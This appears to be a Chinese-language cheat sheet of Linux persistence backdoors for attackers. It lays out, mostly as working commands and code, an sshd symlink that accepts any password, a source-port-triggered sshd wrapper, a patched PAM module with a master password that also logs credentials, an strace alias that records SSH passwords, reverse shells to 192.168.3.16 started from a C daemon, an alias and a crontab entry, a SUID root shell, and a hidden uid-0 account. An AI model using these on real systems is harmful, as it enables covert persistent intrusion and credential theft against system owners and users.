SSH后门 软链接SSHd 1 2 3 ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345 ssh root@192.168.78.19 -p 12345
输入任意密码就可以 root 用户权限登陆,如果 root 用户被禁止登陆时,可以利用其他存在的用户身份登陆
Linux的一个后门引发对PAM的探究
SSH Server Wrapper 1 2 3 4 5 6 7 #!bash cd /usr/sbin mv sshd ../bin echo '#!/usr/bin/perl' >sshd echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..LF/);' >>sshd echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd chmod u+x sshd
1 socat STDIN TCP4:192.168.78.37:22,sourceport=19526
1 2 3 4 5 6 7 8 9 10 11 12 #其中`x00x00LF`是19526的大端形式,便于传输和处理。如果你想修改源端口,可以用python的struct标准库实现 >>> import struct >>> buffer = struct.pack('>I6',19526) >>> print repr(buffer) '\x00\x00LF' >>> buffer = struct.pack('>I6',13377) >>> print buffer 4A >>> buffer = struct.pack('>I6',16714) >>> print buffer AJ
原理
1 2 3 4 5 6 7 8 init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。 原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。 这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。 此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526 就执行sh给个shell。 来自https://www.anquanke.com/post/id/155943#h2-9
SSH Key 1 2 3 4 5 6 7 8 生成私钥和公钥: ssh-keygen -t rsa 把公钥id_rsa.pub发送到目标上: /root/.ssh/authorized_keys 更改时间: touch -r 重启ssh服务: service ssh restart
SSH Keylogger 编辑当前用户下的.bashrc文件,在配置文件末尾添加:
1 alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'
strace
常用来跟踪进程执行时的系统调用和所接收的信号。 在Linux世界,进程不能直接访问硬件设备,当进程需要访问硬件设备(比如读取磁盘文件,接收网络数据等等)时,必须由用户态模式切换至内核态模式,通过系统调用访问硬件设备。strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。
SSH连接输入密码时的密码无论错误或者正确都能记录到log里。
Linux PAM 后门 (1) 下载pam源码 1 2 wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz tar -zxf Linux-PAM-1.1.8.tar.gz
1 2 wget https://github.com/linux-pam/linux-pam/archive/refs/tags/Linux-PAM-1_1_8.zip unzip Linux-PAM-1_1_8.zip
(2) 安装环境
(3) 修改pam_unix_auth.c源码 1 vim Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
找到第181行:
添加如下内容:
1 if (strcmp("root",p)==0) {return PAM_SUCCESS;}
root为设置的密码。
(4) 编译生成so文件 1 2 3 4 cd Linux-PAM-1.1.8 ./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --d isable-selinux --with-libiconv-prefix=/usr make
so文件路径:Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so
(5) 替换系统pam_unix.so文件
1 find / -name pam_unix.so 2>/dev/null
1 cp /lib/x86_64-linux-gnu/security/pam_unix.so /tmp/pam_unix.so.bak
1 cp /root/桌面/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so
(6) 修改时间戳 1 2 cd /lib/x86_64-linux-gnu/security/ touch pam_unix.so -r pam_xauth.so
(7) SSH登录 密码为root,不影响原本root密码的登录。
(8) 优化 查看日志文件:/var/log/auth.log
,发现这种方式下的登录跟正常登录下的情况不一样。
修改Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
1 2 3 4 5 6 7 8 9 10 /* verify the password of this user */ retval = _unix_verify_password(pamh, name, p, ctrl); // if (strcmp("mingyue",p)==0) {return PAM_SUCCESS;} FILE * fp; if (retval == PAM_SUCCESS) { fp = fopen("/etc/pam.txt","a"); fprintf(fp,"%s->%s\n", name,p); fclose(fp); } name = p = NULL;
修改Linux-PAM-1.1.8/modules/pam_unix/support.c
1 2 3 4 5 6 7 8 int _unix_verify_password(pam_handle_t * pamh, const char *name,const char *p, unsigned int ctrl) { struct passwd *pwd = NULL; char *salt = NULL; char *data_name; int retval; if (strcmp("mingyue2",p)==0) {return PAM_SUCCESS;} D(("called"));
然后编译生成so文件,替换系统pam_unix.so文件即可。
(9) 参考 Linux-PAM后门
Alias后门
通过alias来指定执行特定的命令时候静默运行其他程序,从而达到启动后门,记录键值等作用。
修改ssh命令,利用strace,使其具有记录ssh对read,write,connect调用的功能。
1 alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'
反弹shell
1 alias cat='/root/.shell && cat'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <time.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> #include <signal.h> #define ERR_EXIT(m) do { perror(m); exit(EXIT_FAILURE); } while (0); void creat_daemon(void); int main(void) { time_t t; int fd; creat_daemon(); system("/bin/rm /bin/sh;/bin/ln -s /bin/bash /bin/sh"); system("/bin/bash -i >& /dev/tcp/192.168.3.16/8008 0>&1"); return 0; } void creat_daemon(void) { pid_t pid; int devnullfd, fd, fdtablesize; umask(0); pid = fork(); if (pid == -1) ERR_EXIT("fork error"); if (pid > 0) exit(EXIT_SUCCESS); if (setsid() == -1) ERR_EXIT("SETSID ERROR"); chdir("/"); /* close any open file descriptors */ for (fd = 0, fdtablesize = getdtablesize(); fd < fdtablesize; fd++) close(fd); devnullfd = open("/dev/null", 0); /* make STDIN ,STDOUT and STDERR point to /dev/null */ if (devnullfd == -1) { ERR_EXIT("can't open /dev/null"); } if (dup2(devnullfd, STDIN_FILENO) == -1) { ERR_EXIT("can't dup2 /dev/null to STDIN_FILENO"); } if (dup2(devnullfd, STDOUT_FILENO) == -1) { ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO"); } if (dup2(devnullfd, STDERR_FILENO) == -1) { ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO"); } signal(SIGCHLD, SIG_IGN); return; }
Crontab后门
每分钟反弹一次shell给指定ip的8888端口
1 (crontab -l;echo '*/1 * * * * exec 9<> /dev/tcp/192.168.3.16/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
1 2 3 4 5 6 7 8 1.服务开启 service crond start 2.编辑计划任务 crontab -e -u 用户名 3.查看计划任务 crontab -l -u 用户名 4.删除计划任务: crontab -r -u 用户名
1 2 3 4 #相关文件 /var/spool/cron/用户名 #用户定义的设置 /var/log/cron #cron服务的日志文件 /etc/crontab #cron服务配置文件
Setuid & Setgid
设置使文件在执行阶段具有文件所有者的权限. 典型的文件是 /usr/bin/passwd. 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码.
该权限只对目录有效. 目录被设置该位后, 任何用户在此目录下创建的文件都具有和该目录所属的组相同的组.
back.c
1 2 3 4 5 6 7 8 9 10 #include <unistd.h> void main (int argc, char *argv[]) { setuid(0 ); setgid(0 ); if (argc > 1 ) execl("/bin/sh" , "sh" , "-c" , argv[1 ], NULL ); else execl("/bin/sh" , "sh" , NULL ); }
1 2 3 4 5 6 # 编译程序 gcc back.c -o back cp back /bin/ # 给程序添加SUID权限 chmod u+s /bin/back
后门账号 1 2 3 4 perl -e 'print crypt("mingy","adgfagm")."\n"' adu01teZNx5nY echo "weblogic1:adu01teZNx5nY:0:0:root:/root:/bin/bash" >> /etc/passwd